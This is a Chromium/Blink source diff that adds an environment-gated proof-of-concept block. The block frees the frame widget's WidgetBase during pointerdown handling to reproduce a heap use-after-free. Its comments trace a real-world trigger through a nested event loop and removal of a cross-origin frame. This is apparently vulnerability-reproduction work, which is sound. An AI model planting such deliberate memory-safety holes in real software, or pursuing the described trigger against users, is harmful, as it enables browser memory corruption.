diff --git a/third_party/blink/renderer/core/frame/web_frame_widget_impl.cc b/third_party/blink/renderer/core/frame/web_frame_widget_impl.cc index 439b3b533363d..c4dd0aa27e750 100644 --- a/third_party/blink/renderer/core/frame/web_frame_widget_impl.cc +++ b/third_party/blink/renderer/core/frame/web_frame_widget_impl.cc @@ -3155,8 +3155,48 @@ WebInputEventResult WebFrameWidgetImpl::HandleInputEvent( // FIXME: This should take in the intended frame, not the local frame // root. - return WidgetEventHandler::HandleInputEvent(coalesced_event, - LocalRootImpl()->GetFrame()); + WebInputEventResult __poc_result = WidgetEventHandler::HandleInputEvent( + coalesced_event, LocalRootImpl()->GetFrame()); + + // =================================================================== + // POC INJECTION: UAF in WidgetBaseInputHandler::HandleTouchEvent + // ------------------------------------------------------------------- + // Production scenario: pointerdown JS handler calls print()/alert() + // -> ScopedPagePauser starts a nested event loop + // -> cross-origin parent removes the OOPIF + // -> browser sends Delete IPC on kInternalNavigationAssociated queue + // (FreezableTaskQueueTraits is NOT pausable -> runs in nested loop) + // -> RenderFrameImpl::Delete -> ... -> WebFrameWidgetImpl::Close() + // -> widget_base_->Shutdown(false); widget_base_.reset(); + // (web_frame_widget_impl.cc:465-466) + // + // We are at the same point on the call stack: inside the call from + // WidgetBaseInputHandler::HandleTouchEvent line 285. Injecting the + // same destruction here proves the missing weak check. + // + // After we return, control unwinds to HandleTouchEvent line 288: + // return widget_->client()->DispatchBufferedTouchEvents(); + // `this` (the WidgetBaseInputHandler*) points into the freed + // WidgetBase slot -> heap-use-after-free. + // =================================================================== + if (input_event.GetType() == WebInputEvent::Type::kPointerDown) { + static bool __poc_armed = (getenv("POC_TRIGGER_WIDGET_UAF") != nullptr); + if (__poc_armed) { + __poc_armed = false; + LOG(ERROR) << "[POC] kPointerDown received inside HandleTouchEvent " + << "dispatch. Simulating Delete IPC: destroying WidgetBase. " + << "WebFrameWidgetImpl=" << static_cast(this) + << " widget_base_=" << static_cast(widget_base_.get()); + // Exactly what WebFrameWidgetImpl::Close() does at lines 465-466: + widget_base_->Shutdown(/*delay_release=*/false); + widget_base_.reset(); + LOG(ERROR) << "[POC] WidgetBase destroyed. Returning to " + << "WidgetBaseInputHandler::HandleTouchEvent. Next access " + << "to this->widget_ at line 288 should UAF."; + } + } + + return __poc_result; } WebInputEventResult WebFrameWidgetImpl::HandleCapturedMouseEvent(